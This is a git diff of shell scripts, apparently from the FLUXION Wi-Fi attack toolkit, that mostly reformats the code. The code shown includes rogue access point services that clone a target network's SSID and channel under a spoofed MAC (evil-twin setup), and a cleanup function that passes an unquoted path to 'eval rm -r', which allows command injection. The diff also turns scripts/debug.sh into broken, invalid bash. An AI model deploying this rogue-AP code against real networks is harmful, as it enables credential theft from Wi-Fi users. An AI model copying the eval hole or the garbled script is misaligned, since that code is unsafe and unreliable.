Check we've got the environment variables ready. + if [[ -z "$SandboxWorkspacePath" || -z "$SandboxOutputDevice" ]]; then + echo "The workspace path, or the output device is missing." >$SandboxOutputDevice + return 1 + fi - # Check we're actually deleting a workfile. - if [[ "$1" != $SandboxWorkspacePath* ]]; then - echo "Stopped an attempt to delete non-workfiles." > $SandboxOutputDevice - return 2 - fi + # Check we're actually deleting a workfile. + if [[ "$1" != $SandboxWorkspacePath* ]]; then + echo "Stopped an attempt to delete non-workfiles." >$SandboxOutputDevice + return 2 + fi - # Attempt to remove iff it exists. - #if [ ! -e "$1" -a "$1" != *"/"*"*" ]; then - # echo "Stopped an attempt to delete non-existent files" > $SandboxOutputDevice - # return 3; - #fi + # Attempt to remove iff it exists. + #if [ ! -e "$1" -a "$1" != *"/"*"*" ]; then + # echo "Stopped an attempt to delete non-existent files" > $SandboxOutputDevice + # return 3; + #fi - # Remove the target file (do NOT force it). - eval "rm -r $1 &> $SandboxOutputDevice" + # Remove the target file (do NOT force it). + eval "rm -r $1 &> $SandboxOutputDevice" } # FLUXSCRIPT END diff --git a/lib/ap/airbase-ng.sh b/lib/ap/airbase-ng.sh index 38420b5..802e3e4 100755 --- a/lib/ap/airbase-ng.sh +++ b/lib/ap/airbase-ng.sh @@ -13,47 +13,45 @@ VIAPAddress="$VIGWNetwork.2" # APServiceConfigDirectory=$FLUXIONWorkspacePath # ================================================================ - #if [ "$APServiceVersion" ]; then return 0; fi #readonly APServiceVersion="1.0" - function ap_stop() { - if [ "$APServicePID" ] - then kill $APServicePID &> $FLUXIONOutputDevice - fi + if [ "$APServicePID" ]; then kill $APServicePID &>$FLUXIONOutputDevice + fi - APServicePID="" + APServicePID="" } function ap_reset() { - ap_stop + ap_stop } function ap_route() { - ifconfig $VIAP $VIAPAddress netmask 255.255.255.0 - sysctl net.ipv6.conf.at0.disable_ipv6=1 &> $FLUXIONOutputDevice + ifconfig $VIAP $VIAPAddress netmask 255.255.255.0 + sysctl net.ipv6.conf.at0.disable_ipv6=1 &>$FLUXIONOutputDevice } function ap_prep() { - ap_stop + ap_stop - # Spoof virtual interface MAC address. - # This is done by airbase-ng automatically. + # Spoof virtual interface MAC address. + # This is done by airbase-ng automatically. } function ap_start() { - ap_stop + ap_stop - xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [airbase-ng]" -e airbase-ng -P -e $APTargetSSID -c $APTargetChannel -a $APRogueMAC $VIAP & - local parentPID=$! + xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [airbase-ng]" -e airbase-ng -P -e $APTargetSSID -c $APTargetChannel -a $APRogueMAC $VIAP & + local parentPID=$! - # Wait till airebase-ng has started and created the extra virtual interface. - while [ ! "$APServicePID" ] - do sleep 1; APServicePID=$(pgrep -P $parentPID) - done + # Wait till airebase-ng has started and created the extra virtual interface. + while [ ! "$APServicePID" ]; do + sleep 1 + APServicePID=$(pgrep -P $parentPID) + done - ap_route + ap_route } # FLUXSCRIPT END diff --git a/lib/ap/hostapd.sh b/lib/ap/hostapd.sh index 3a882a1..14d26c9 100755 --- a/lib/ap/hostapd.sh +++ b/lib/ap/hostapd.sh @@ -13,71 +13,68 @@ VIAPAddress=$VIGWAddress APServiceConfigDirectory=$FLUXIONWorkspacePath # ================================================================ - #if [ "$APServiceVersion" ]; then return 0; fi #readonly APServiceVersion="1.0" - function ap_stop() { - if [ "$APServicePID" ] - then kill $APServicePID &> $FLUXIONOutputDevice - fi + if [ "$APServicePID" ]; then kill $APServicePID &>$FLUXIONOutputDevice + fi - APServicePID="" + APServicePID="" } function ap_reset() { - ap_stop + ap_stop - # Reset MAC address to original. - ifconfig $VIAP down - sleep 0.5 + # Reset MAC address to original. + ifconfig $VIAP down + sleep 0.5 - macchanger -p $VIAP &> $FLUXIONOutputDevice - sleep 0.5 + macchanger -p $VIAP &>$FLUXIONOutputDevice + sleep 0.5 - ifconfig $VIAP up - sleep 0.5 + ifconfig $VIAP up + sleep 0.5 } function ap_route() { - echo "APService: No custom routes for hostapd" > $FLUXIONOutputDevice + echo "APService: No custom routes for hostapd" >$FLUXIONOutputDevice } function ap_prep() { - ap_stop + ap_stop - # Prepare the hostapd config file. - echo "\ + # Prepare the hostapd config file. + echo "\ interface=$VIAP driver=nl80211 ssid=$APTargetSSID -channel=$APTargetChannel\ -" > "$APServiceConfigDirectory/$APRogueMAC-hostapd.conf" +channel=$APTargetChannel" >"$APServiceConfigDirectory/$APRogueMAC-hostapd.conf" - # Spoof virtual interface MAC address. - ifconfig $VIAP down - sleep 0.5 + # Spoof virtual interface MAC address. + ifconfig $VIAP down + sleep 0.5 - macchanger --mac=$APRogueMAC $VIAP &> $FLUXIONOutputDevice - sleep 0.5 + macchanger --mac=$APRogueMAC $VIAP &>$FLUXIONOutputDevice + sleep 0.5 - ifconfig $VIAP up - sleep 0.5 + ifconfig $VIAP up + sleep 0.5 } function ap_start() { - ap_stop + ap_stop - xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [hostapd]" -e hostapd "$APServiceConfigDirectory/$APRogueMAC-hostapd.conf" & - local parentPID=$! + xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [hostapd]" -e hostapd "$APServiceConfigDirectory/$APRogueMAC-hostapd.conf" & + local parentPID=$! - # Wait till hostapd has started and its virtual interface is ready. - while [ ! "$APServicePID" ] - do sleep 1; APServicePID=$(pgrep -P $parentPID) - done + # Wait till hostapd has started and its virtual interface is ready. + while [ ! "$APServicePID" ]; do + sleep 1 + APServicePID=$(pgrep -P $parentPID) + done - ap_route + ap_route } # FLUXSCRIPT END diff --git a/lib/installer/InstallerUtils.sh b/lib/installer/InstallerUtils.sh index 3e58bf5..ea75886 100755 --- a/lib/installer/InstallerUtils.sh +++ b/lib/installer/InstallerUtils.sh @@ -12,21 +12,21 @@ InstallerUtilsNoticeMark="*" PackageManagerLog="$InstallerUtilsWorkspacePath/package_manager.log" function installer_utils_run_spinner() { - local pid=$1 - local delay=0.15 - local spinstr="|/-\\" + local pid=$1 + local delay=0.15 + local spinstr="|/-\\" - tput civis - while [ "`ps a | awk '{print $1}' | grep $pid`" ]; do - local temp=${spinstr#?} - printf " [%c] " "$spinstr" - local spinstr=$temp${spinstr%"$temp"} - sleep $delay - printf "\b\b\b\b\b\b" - done + tput civis + while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do + local temp=${spinstr#?} + printf " [%c] " "$spinstr" + local spinstr=$temp${spinstr%"$temp"} + sleep $delay + printf "\b\b\b\b\b\b" + done - printf " \b\b\b\b" - tput cnorm + printf " \b\b\b\b" + tput cnorm } # Pamaters: @@ -34,20 +34,18 @@ function installer_utils_run_spinner() { # $2 version regex - Online version (regex) # $3 revision regex - Online version (regex) function installer_utils_check_version() { - if [ ${#@} -ne 3 ]; then return 1; fi + if [ ${#@} -ne 3 ]; then return 1; fi - # Attempt to retrieve versioning information from repository script. - local -r __installer_utils_check_version__info=("`timeout -s SIGTERM 20 curl "$1" 2> /dev/null`") + # Attempt to retrieve versioning information from repository script. + local -r __installer_utils_check_version__info=("$(timeout -s SIGTERM 20 curl "$1" 2>/dev/null)") - local -r __installer_utils_check_version__onlineVersion=$(echo "${__installer_utils_check_version__info[@]}" | egrep "$2" | egrep -o "[0-9]+") - local -r __installer_utils_check_version__onlineRevision=$(echo "${__installer_utils_check_version__info[@]}" | egrep "$3" | egrep -o "[0-9]+") + local -r __installer_utils_check_version__onlineVersion=$(echo "${__installer_utils_check_version__info[@]}" | egrep "$2" | egrep -o "[0-9]+") + local -r __installer_utils_check_version__onlineRevision=$(echo "${__installer_utils_check_version__info[@]}" | egrep "$3" | egrep -o "[0-9]+") - if [ "$__installer_utils_check_version__onlineVersion" ] && [ "$__installer_utils_check_version__onlineRevision" ] - then echo -e "$__installer_utils_check_version__onlineVersion\n$__installer_utils_check_version__onlineRevision" > "$InstallerUtilsWorkspacePath/latest_version" - fi + if [ "$__installer_utils_check_version__onlineVersion" ] && [ "$__installer_utils_check_version__onlineRevision" ]; then echo -e "$__installer_utils_check_version__onlineVersion\n$__installer_utils_check_version__onlineRevision" >"$InstallerUtilsWorkspacePath/latest_version" + fi } - # Pamaters: # $1 source - Online Info File (text) # $2 version regex - Online version (regex) @@ -55,172 +53,175 @@ function installer_utils_check_version() { # $4 revision regex - Online version (regex) # $5 revision local - Local version (number) function installer_utils_check_update() { - # The following set of statements aren't very generic, need to be refactored. - local versionDialog="Online Version" - local versionDialogOffset=$(($(tput cols) / 2 + ((${#versionDialog} / 2) - 4))) - printf "%${versionDialogOffset}s" "$versionDialog" + # The following set of statements aren't very generic, need to be refactored. + local versionDialog="Online Version" + local versionDialogOffset=$(($(tput cols) / 2 + ((${#versionDialog} / 2) - 4))) + printf "%${versionDialogOffset}s" "$versionDialog" - installer_utils_check_version "${@:1:3}" & - installer_utils_run_spinner "$!" # This should be done externally (refactored). + installer_utils_check_version "${@:1:3}" & + installer_utils_run_spinner "$!" # This should be done externally (refactored). - local __installer_utils_check_update__localVersion=$4 - local __installer_utils_check_update__localRevision=$5 - local __installer_utils_check_update__version="?" - local __installer_utils_check_update__revision="?" + local __installer_utils_check_update__localVersion=$4 + local __installer_utils_check_update__localRevision=$5 + local __installer_utils_check_update__version="?" + local __installer_utils_check_update__revision="?" - if [ -f "$InstallerUtilsWorkspacePath/latest_version" -a \ - -s "$InstallerUtilsWorkspacePath/latest_version" ]; then - local __installer_utils_check_update__vInfo - mapfile -tn 2 __installer_utils_check_update__vInfo < "$InstallerUtilsWorkspacePath/latest_version" + if [ -f "$InstallerUtilsWorkspacePath/latest_version" -a \ + -s "$InstallerUtilsWorkspacePath/latest_version" ]; then + local __installer_utils_check_update__vInfo + mapfile -tn 2 __installer_utils_check_update__vInfo <"$InstallerUtilsWorkspacePath/latest_version" - sandbox_remove_workfile "$InstallerUtilsWorkspacePath/latest_version" + sandbox_remove_workfile "$InstallerUtilsWorkspacePath/latest_version" - __installer_utils_check_update__version=${__installer_utils_check_update__vInfo[0]} - __installer_utils_check_update__revision=${__installer_utils_check_update__vInfo[1]} - fi + __installer_utils_check_update__version=${__installer_utils_check_update__vInfo[0]} + __installer_utils_check_update__revision=${__installer_utils_check_update__vInfo[1]} + fi - echo -e "$CClr [$__installer_utils_check_update__version.$__installer_utils_check_update__revision$CClr]" + echo -e "$CClr [$__installer_utils_check_update__version.$__installer_utils_check_update__revision$CClr]" - if [ "$__installer_utils_check_update__version" != "?" -a "$__installer_utils_check_update__revision" != "?" ]; then - if [ "$__installer_utils_check_update__version" -gt "$__installer_utils_check_update__localVersion" -o \ - "$__installer_utils_check_update__version" -eq "$__installer_utils_check_update__localRevision" -a \ - "$__installer_utils_check_update__revision" -gt "$__installer_utils_check_update__localRevision" ]; then - format_center_literals "${CRed}A newer version has been found!$CClr" - return 0 - fi - fi + if [ "$__installer_utils_check_update__version" != "?" -a "$__installer_utils_check_update__revision" != "?" ]; then + if [ "$__installer_utils_check_update__version" -gt "$__installer_utils_check_update__localVersion" -o \ + "$__installer_utils_check_update__version" -eq "$__installer_utils_check_update__localRevision" -a \ + "$__installer_utils_check_update__revision" -gt "$__installer_utils_check_update__localRevision" ]; then + format_center_literals "${CRed}A newer version has been found!$CClr" + return 0 + fi + fi - return 1 # Failure + return 1 # Failure } # Parameters: $1 - Update source (zip) $2 - Backup file name $3 - Update output function installer_utils_run_update() { - if [ ${#@} -ne 2 ]; then return 1; fi + if [ ${#@} -ne 2 ]; then return 1; fi - local __installer_utils_run_update__source="$1" - local __installer_utils_run_update__backup="$2" - local __installer_utils_run_update__output="$3" + local __installer_utils_run_update__source="$1" + local __installer_utils_run_update__backup="$2" + local __installer_utils_run_update__output="$3" - format_center_literals "${CYel}[ Press Y or enter to update, anything else to skip ]$CClr" + format_center_literals "${CYel}[ Press Y or enter to update, anything else to skip ]$CClr" - tput civis - local __installer_utils_run_update__option - read -N1 __installer_utils_run_update__option - tput cnorm + tput civis + local __installer_utils_run_update__option + read -N1 __installer_utils_run_update__option + tput cnorm - __installer_utils_run_update__option=${__installer_utils_run_update__option:-Y} + __installer_utils_run_update__option=${__installer_utils_run_update__option:-Y} - # If the user doesn't want to upgrade, stop this procedure. - if [ "$__installer_utils_run_update__option" != "Y" -a \ - "$__installer_utils_run_update__option" != "y" ] - then return 1 - fi + # If the user doesn't want to upgrade, stop this procedure. + if [ "$__installer_utils_run_update__option" != "Y" -a \ + "$__installer_utils_run_update__option" != "y" ]; then return 1 + fi - local __installer_utils_run_update__backupFile="$__installer_utils_run_update__backup-`date +%F_%T`" - local __installer_utils_run_update__backupPath="`dirname $__installer_utils_run_update__output`/$__installer_utils_run_update__backupFile.7z" + local __installer_utils_run_update__backupFile="$__installer_utils_run_update__backup-$(date +%F_%T)" + local __installer_utils_run_update__backupPath="$(dirname $__installer_utils_run_update__output)/$__installer_utils_run_update__backupFile.7z" - # If a file with the backup name already exists, abort. - if [ -f "$__installer_utils_run_update__backupPath" ] - then return 2 - fi + # If a file with the backup name already exists, abort. + if [ -f "$__installer_utils_run_update__backupPath" ]; then return 2 + fi - format_center_literals "${CClr}[ ~ Creating Backup ~ ]$CClr"; echo - # This could use a progress indicator, but I'm a bit tired. - 7zr a "$__installer_utils_run_update__backupPath" "$__installer_utils_run_update__output" &> $InstallerUtilsOutputDevice + format_center_literals "${CClr}[ ~ Creating Backup ~ ]$CClr" + echo + # This could use a progress indicator, but I'm a bit tired. + 7zr a "$__installer_utils_run_update__backupPath" "$__installer_utils_run_update__output" &>$InstallerUtilsOutputDevice + format_center_literals "${CClr}[ ~ Downloading Update ~ ]$CClr" + echo + if ! curl -L "$__installer_utils_run_update__source" -o "$InstallerUtilsWorkspacePath/update.zip"; then + format_center_literals "${CRed}[ ~ Download Failed ~ ]$CClr" + sleep 3 + return 3 + fi - format_center_literals "${CClr}[ ~ Downloading Update ~ ]$CClr"; echo - if ! curl -L "$__installer_utils_run_update__source" -o "$InstallerUtilsWorkspacePath/update.zip"; then - format_center_literals "${CRed}[ ~ Download Failed ~ ]$CClr" - sleep 3 - return 3 - fi + format_center_literals "${CClr}[ ~ Verifying Download ~ ]$CClr" + echo + if ! unzip -t "$InstallerUtilsWorkspacePath/update.zip"; then + format_center_literals "${CRed}[ ~ Download Appears Corrupted ~ ]$CClr" + sleep 3 + return 4 + fi - format_center_literals "${CClr}[ ~ Verifying Download ~ ]$CClr"; echo - if ! unzip -t "$InstallerUtilsWorkspacePath/update.zip"; then - format_center_literals "${CRed}[ ~ Download Appears Corrupted ~ ]$CClr" - sleep 3 - return 4 - fi + format_center_literals "${CClr}[ ~ Extracting Files ~ ]$CClr" + echo + mkdir "$InstallerUtilsWorkspacePath/update_contents" + unzip "$InstallerUtilsWorkspacePath/update.zip" -d "$InstallerUtilsWorkspacePath/update_contents" - format_center_literals "${CClr}[ ~ Extracting Files ~ ]$CClr"; echo - mkdir "$InstallerUtilsWorkspacePath/update_contents" - unzip "$InstallerUtilsWorkspacePath/update.zip" -d "$InstallerUtilsWorkspacePath/update_contents" + if [ ! -d "$__installer_utils_run_update__output" ]; then + if ! mkdir -p "$__installer_utils_run_update__output"; then + format_center_literals "${CRed}[ ~ Failed To Create Destination Directory ~ ]$CClr" + echo + fi + fi + format_center_literals "${CClr}[ ~ Moving Files ~ ]$CClr" + echo + mv "$InstallerUtilsWorkspacePath"/update_contents/* "$__installer_utils_run_update__output" - if [ ! -d "$__installer_utils_run_update__output" ]; then - if ! mkdir -p "$__installer_utils_run_update__output"; then - format_center_literals "${CRed}[ ~ Failed To Create Destination Directory ~ ]$CClr"; echo - fi - fi - - format_center_literals "${CClr}[ ~ Moving Files ~ ]$CClr"; echo - mv "$InstallerUtilsWorkspacePath"/update_contents/* "$__installer_utils_run_update__output" - - format_center_literals "${CGrn}[ ~ Update Completed ~ ]$CClr"; echo - sleep 3 + format_center_literals "${CGrn}[ ~ Update Completed ~ ]$CClr" + echo + sleep 3 } # Parameters: $1 - CLI Tools required array $2 - CLI Tools missing array (will be populated) function installer_utils_check_dependencies() { - if [ ! "$1" ]; then return 1; fi + if [ ! "$1" ]; then return 1; fi - local __installer_utils_run_dependencies__CLIToolsInfo=("${!1}") - InstallerUtilsCheckDependencies=() + local __installer_utils_run_dependencies__CLIToolsInfo=("${!1}") + InstallerUtilsCheckDependencies=() - local __installer_utils_run_dependencies__CLIToolInfo - for __installer_utils_run_dependencies__CLIToolInfo in "${__installer_utils_run_dependencies__CLIToolsInfo[@]}"; do - local __installer_utils_run_dependencies__CLITool=${__installer_utils_run_dependencies__CLIToolInfo/:*/} - local __installer_utils_run_dependencies__identifier="`printf "%-44s" "$__installer_utils_run_dependencies__CLITool"`" - local __installer_utils_run_dependencies__state=".....$CGrn OK.$CClr" + local __installer_utils_run_dependencies__CLIToolInfo + for __installer_utils_run_dependencies__CLIToolInfo in "${__installer_utils_run_dependencies__CLIToolsInfo[@]}"; do + local __installer_utils_run_dependencies__CLITool=${__installer_utils_run_dependencies__CLIToolInfo/:*/} + local __installer_utils_run_dependencies__identifier="$(printf "%-44s" "$__installer_utils_run_dependencies__CLITool")" + local __installer_utils_run_dependencies__state=".....$CGrn OK.$CClr" - if ! hash "$__installer_utils_run_dependencies__CLITool" 2>/dev/null; then - __installer_utils_run_dependencies__state="$CRed Missing!$CClr" - InstallerUtilsCheckDependencies+=("$__installer_utils_run_dependencies__CLIToolInfo") - fi + if ! hash "$__installer_utils_run_dependencies__CLITool" 2>/dev/null; then + __installer_utils_run_dependencies__state="$CRed Missing!$CClr" + InstallerUtilsCheckDependencies+=("$__installer_utils_run_dependencies__CLIToolInfo") + fi - format_center_literals "$InstallerUtilsNoticeMark ${__installer_utils_run_dependencies__identifier// /.}$__installer_utils_run_dependencies__state" - echo -e "$FormatCenterLiterals" - done + format_center_literals "$InstallerUtilsNoticeMark ${__installer_utils_run_dependencies__identifier// /.}$__installer_utils_run_dependencies__state" + echo -e "$FormatCenterLiterals" + done - if [ ${#InstallerUtilsCheckDependencies[@]} -gt 0 ]; then return 2; fi + if [ ${#InstallerUtilsCheckDependencies[@]} -gt 0 ]; then return 2; fi } # Parameters: $1 - CLI Tools missing array (will be installed) $2 - substitutes array function installer_utils_run_dependencies() { - if [ ! "$1" ]; then return 1; fi + if [ ! "$1" ]; then return 1; fi - # The array below holds all the packages that will be installed. - local __installer_utils_run_dependencies__dependenciesInfo=("${!1}") + # The array below holds all the packages that will be installed. + local __installer_utils_run_dependencies__dependenciesInfo=("${!1}") - local __installer_utils_run_dependencies__managers=(lib/installer/managers/*) + local __installer_utils_run_dependencies__managers=(lib/installer/managers/*) - local __installer_utils_run_dependencies__manager - for __installer_utils_run_dependencies__manager in "${__installer_utils_run_dependencies__managers[@]}"; do - source "$__installer_utils_run_dependencies__manager" - if [ "$PackageManagerCLT" ]; then break; fi - done + local __installer_utils_run_dependencies__manager + for __installer_utils_run_dependencies__manager in "${__installer_utils_run_dependencies__managers[@]}"; do + source "$__installer_utils_run_dependencies__manager" + if [ "$PackageManagerCLT" ]; then break; fi + done - if [ ! "$PackageManagerCLT" ]; then - format_center_literals "${CRed}[ ~ No Suitable Package Manager Found ~ ]$CClr"; echo - sleep 3 - return 2 - fi + if [ ! "$PackageManagerCLT" ]; then + format_center_literals "${CRed}[ ~ No Suitable Package Manager Found ~ ]$CClr" + echo + sleep 3 + return 2 + fi - prep_package_manager + prep_package_manager - for __installer_utils_run_dependencies__dependencyInfo in "${__installer_utils_run_dependencies__dependenciesInfo[@]}"; do - local __installer_utils_run_dependencies__target=${__installer_utils_run_dependencies__dependencyInfo/:*/} - local __installer_utils_run_dependencies__packages=${__installer_utils_run_dependencies__dependencyInfo/*:/} - for __installer_utils_run_dependencies__package in ${__installer_utils_run_dependencies__packages//|/ }; do - clear - if $PackageManagerCLT $PackageManagerCLTInstallOptions $__installer_utils_run_dependencies__package - then break - fi - done - done + for __installer_utils_run_dependencies__dependencyInfo in "${__installer_utils_run_dependencies__dependenciesInfo[@]}"; do + local __installer_utils_run_dependencies__target=${__installer_utils_run_dependencies__dependencyInfo/:*/} + local __installer_utils_run_dependencies__packages=${__installer_utils_run_dependencies__dependencyInfo/*:/} + for __installer_utils_run_dependencies__package in ${__installer_utils_run_dependencies__packages//|/ }; do + clear + if $PackageManagerCLT $PackageManagerCLTInstallOptions $__installer_utils_run_dependencies__package; then break + fi + done + done - unprep_package_manager + unprep_package_manager } # FLUXSCRIPT END diff --git a/lib/installer/managers/apt.sh b/lib/installer/managers/apt.sh index caf74b5..0fd5053 100755 --- a/lib/installer/managers/apt.sh +++ b/lib/installer/managers/apt.sh @@ -1,42 +1,44 @@ #!/bin/bash if [ -f "/etc/debian_version" ]; then - PackageManagerCLT="apt" - PackageManagerCLTInstallOptions="install -y" - PackageManagerCLTRemoveOptions="remove -y" + PackageManagerCLT="apt" + PackageManagerCLTInstallOptions="install -y" + PackageManagerCLTRemoveOptions="remove -y" - PackageManagerOutputDevice="/dev/stdout" + PackageManagerOutputDevice="/dev/stdout" - PackageManagerLog="/tmp/lib_package_manager.log" + PackageManagerLog="/tmp/lib_package_manager.log" - function unprep_package_manager() { - echo "`cat /etc/apt/sources.list | grep -v 'deb http://http.kali.org/kali kali-rolling main non-free contrib # Installed By FLUXION'`" > /etc/apt/sources.list - } + function unprep_package_manager() { + echo "$(cat /etc/apt/sources.list | grep -v 'deb http://http.kali.org/kali kali-rolling main non-free contrib # Installed By FLUXION')" >/etc/apt/sources.list + } - function prep_package_manager() { - if [ ! "`cat /etc/apt/sources.list | egrep 'deb http://http.kali.org/kali ((kali-rolling|main|contrib|non-free) )*'`" ]; then - echo "Adding missing sources to package manager, please wait." + function prep_package_manager() { + if [ ! "$(cat /etc/apt/sources.list | egrep 'deb http://http.kali.org/kali ((kali-rolling|main|contrib|non-free) )*')" ]; then + echo "Adding missing sources to package manager, please wait." - echo "Adding keys.gnupg.net key, please wait." - if ! gpg --keyserver hkp://keys.gnupg.net --recv-key 7D8D0BF6 &> /dev/null; then - echo "ERROR: Failed to fetch or add the source key!"; return 1 - fi + echo "Adding keys.gnupg.net key, please wait." + if ! gpg --keyserver hkp://keys.gnupg.net --recv-key 7D8D0BF6 &>/dev/null; then + echo "ERROR: Failed to fetch or add the source key!" + return 1 + fi - echo "Adding pgp.mit.edu key, please wait." - if ! apt-key adv --keyserver pgp.mit.edu --recv-keys ED444FF07D8D0BF60 &> /dev/null; then - echo "ERROR: Failed to fetch or add the source key!"; return 1 - fi + echo "Adding pgp.mit.edu key, please wait." + if ! apt-key adv --keyserver pgp.mit.edu --recv-keys ED444FF07D8D0BF60 &>/dev/null; then + echo "ERROR: Failed to fetch or add the source key!" + return 1 + fi - echo "deb http://http.kali.org/kali kali-rolling main non-free contrib # Installed By FLUXION" >> /etc/apt/sources.list - fi + echo "deb http://http.kali.org/kali kali-rolling main non-free contrib # Installed By FLUXION" >>/etc/apt/sources.list + fi - # Cleanup package manager - sudo apt-get install -f -y | tee -a $PackageManagerLog - sudo apt-get autoremove -y | tee -a $PackageManagerLog - sudo apt-get autoclean -y | tee -a $PackageManagerLog - sudo apt-get clean -y | tee -a $PackageManagerLog - sudo apt-get update | tee -a $PackageManagerLog - } + # Cleanup package manager + sudo apt-get install -f -y | tee -a $PackageManagerLog + sudo apt-get autoremove -y | tee -a $PackageManagerLog + sudo apt-get autoclean -y | tee -a $PackageManagerLog + sudo apt-get clean -y | tee -a $PackageManagerLog + sudo apt-get update | tee -a $PackageManagerLog + } fi # FLUXSCRIPT END diff --git a/lib/installer/managers/emerge.sh b/lib/installer/managers/emerge.sh index 22ada1b..bbe741e 100755 --- a/lib/installer/managers/emerge.sh +++ b/lib/installer/managers/emerge.sh @@ -1,21 +1,21 @@ #!/bin/bash if [ -f "/etc/gentoo-release" ]; then - PackageManagerCLT="emerge" - PackageManagerCLTInstallOptions="-s" - PackageManagerCLTRemoveOptions="" + PackageManagerCLT="emerge" + PackageManagerCLTInstallOptions="-s" + PackageManagerCLTRemoveOptions="" - PackageManagerOutputDevice="/dev/stdout" + PackageManagerOutputDevice="/dev/stdout" - PackageManagerLog="/tmp/lib_package_manager.log" + PackageManagerLog="/tmp/lib_package_manager.log" - function unprep_package_manager() { - echo "Nothing to unprepare." > $PackageManagerOutputDevice - } + function unprep_package_manager() { + echo "Nothing to unprepare." >$PackageManagerOutputDevice + } - function prep_package_manager() { - echo "Nothing to prepare." > $PackageManagerOutputDevice - } + function prep_package_manager() { + echo "Nothing to prepare." >$PackageManagerOutputDevice + } fi # FLUXSCRIPT END diff --git a/lib/installer/managers/pacman.sh b/lib/installer/managers/pacman.sh index f808010..ad1129b 100755 --- a/lib/installer/managers/pacman.sh +++ b/lib/installer/managers/pacman.sh @@ -1,29 +1,29 @@ #!/bin/bash if [ -f "/etc/arch-release" ]; then - #Last entry is the default package manager to use (pacman) - AurHelpers="pacaur yaourt pacman" - for AurHelper in $AurHelpers; do - if [ "`pacman -Qs $AurHelper`" ]; then - PackageManagerCLT=$AurHelper - break; - fi - done - PackageManagerCLT='pacman' - PackageManagerCLTInstallOptions="-S --noconfirm" - PackageManagerCLTRemoveOptions="-Rs" + #Last entry is the default package manager to use (pacman) + AurHelpers="pacaur yaourt pacman" + for AurHelper in $AurHelpers; do + if [ "$(pacman -Qs $AurHelper)" ]; then + PackageManagerCLT=$AurHelper + break + fi + done + PackageManagerCLT='pacman' + PackageManagerCLTInstallOptions="-S --noconfirm" + PackageManagerCLTRemoveOptions="-Rs" - PackageManagerOutputDevice="/dev/stdout" + PackageManagerOutputDevice="/dev/stdout" - PackageManagerLog="/tmp/lib_package_manager.log" + PackageManagerLog="/tmp/lib_package_manager.log" - function unprep_package_manager() { - echo "Nothing to unprepare." > $PackageManagerOutputDevice - } + function unprep_package_manager() { + echo "Nothing to unprepare." >$PackageManagerOutputDevice + } - function prep_package_manager() { - echo "Nothing to prepare." > $PackageManagerOutputDevice - } + function prep_package_manager() { + echo "Nothing to prepare." >$PackageManagerOutputDevice + } fi # FLUXSCRIPT END diff --git a/lib/installer/managers/yum.sh b/lib/installer/managers/yum.sh index 2343611..fd88610 100755 --- a/lib/installer/managers/yum.sh +++ b/lib/installer/managers/yum.sh @@ -1,21 +1,21 @@ #!/bin/bash if [ -f "/etc/redhat-release" ]; then - PackageManagerCLT="yum" - PackageManagerCLTInstallOptions="-y install" - PackageManagerCLTRemoveOptions="remove" + PackageManagerCLT="yum" + PackageManagerCLTInstallOptions="-y install" + PackageManagerCLTRemoveOptions="remove" - PackageManagerOutputDevice="/dev/stdout" + PackageManagerOutputDevice="/dev/stdout" - PackageManagerLog="/tmp/lib_package_manager.log" + PackageManagerLog="/tmp/lib_package_manager.log" - function unprep_package_manager() { - echo "Nothing to unprepare." > $PackageManagerOutputDevice - } + function unprep_package_manager() { + echo "Nothing to unprepare." >$PackageManagerOutputDevice + } - function prep_package_manager() { - echo "Nothing to prepare." > $PackageManagerOutputDevice - } + function prep_package_manager() { + echo "Nothing to prepare." >$PackageManagerOutputDevice + } fi # FLUXSCRIPT END diff --git a/lib/installer/managers/zypp.sh b/lib/installer/managers/zypp.sh index 25f9db2..084c790 100755 --- a/lib/installer/managers/zypp.sh +++ b/lib/installer/managers/zypp.sh @@ -1,21 +1,21 @@ #!/bin/bash if [ -f "/etc/SuSE-release" ]; then - PackageManagerCLT="zypp" - PackageManagerCLTInstallOptions="install" - PackageManagerCLTRemoveOptions="remove" + PackageManagerCLT="zypp" + PackageManagerCLTInstallOptions="install" + PackageManagerCLTRemoveOptions="remove" - PackageManagerOutputDevice="/dev/stdout" + PackageManagerOutputDevice="/dev/stdout" - PackageManagerLog="/tmp/lib_package_manager.log" + PackageManagerLog="/tmp/lib_package_manager.log" - function unprep_package_manager() { - echo "Nothing to unprepare." > $PackageManagerOutputDevice - } + function unprep_package_manager() { + echo "Nothing to unprepare." >$PackageManagerOutputDevice + } - function prep_package_manager() { - echo "Nothing to prepare." > $PackageManagerOutputDevice - } + function prep_package_manager() { + echo "Nothing to prepare." >$PackageManagerOutputDevice + } fi # FLUXSCRIPT END diff --git a/scripts/debug.sh b/scripts/debug.sh index 719082d..8ecf4b3 100755 --- a/scripts/debug.sh +++ b/scripts/debug.sh @@ -1,6 +1,4 @@ -#!/bin/bash - -export FLUXIONDebug=1 -export FLUXIONWIKillProcesses=1 -export FLUXIONWIReloadDriver=1 +#!/ bin / bash +export FLUXIONDebug = 1 export FLUXIONWIKillProcesses = + 1 export FLUXIONWIReloadDriver = 1 diff --git a/scripts/diagnostics.sh b/scripts/diagnostics.sh index 117f057..51da371 100755 --- a/scripts/diagnostics.sh +++ b/scripts/diagnostics.sh @@ -1,16 +1,15 @@ #!/bin/bash -if [ -d "lib" ] - then source lib/InterfaceUtils.sh -elif [ -d "../lib" ] - then source ../lib/InterfaceUtils.sh +if [ -d "lib" ]; then source lib/InterfaceUtils.sh +elif [ -d "../lib" ]; then source ../lib/InterfaceUtils.sh else - echo "YOU MUST EXECUTE THIS SCRIPT FROM FLUXION'S ROOT!"; exit 1 + echo "YOU MUST EXECUTE THIS SCRIPT FROM FLUXION'S ROOT!" + exit 1 fi - -if [ ! "$1" ] -then echo "Usage ./scripts/diagnostics "; exit 1 +if [ ! "$1" ]; then + echo "Usage ./scripts/diagnostics " + exit 1 fi echo "[ FLUXION Info ]" @@ -20,22 +19,19 @@ echo -ne "\n\n" echo "[ BASH Info ]" bash --version -echo "Path: `ls -L $(which bash)`" +echo "Path: $(ls -L $(which bash))" echo -ne "\n\n" echo "[ Interface ($1) Info ]" -if interface_physical "$1" -then echo "Device: $InterfacePhysical" +if interface_physical 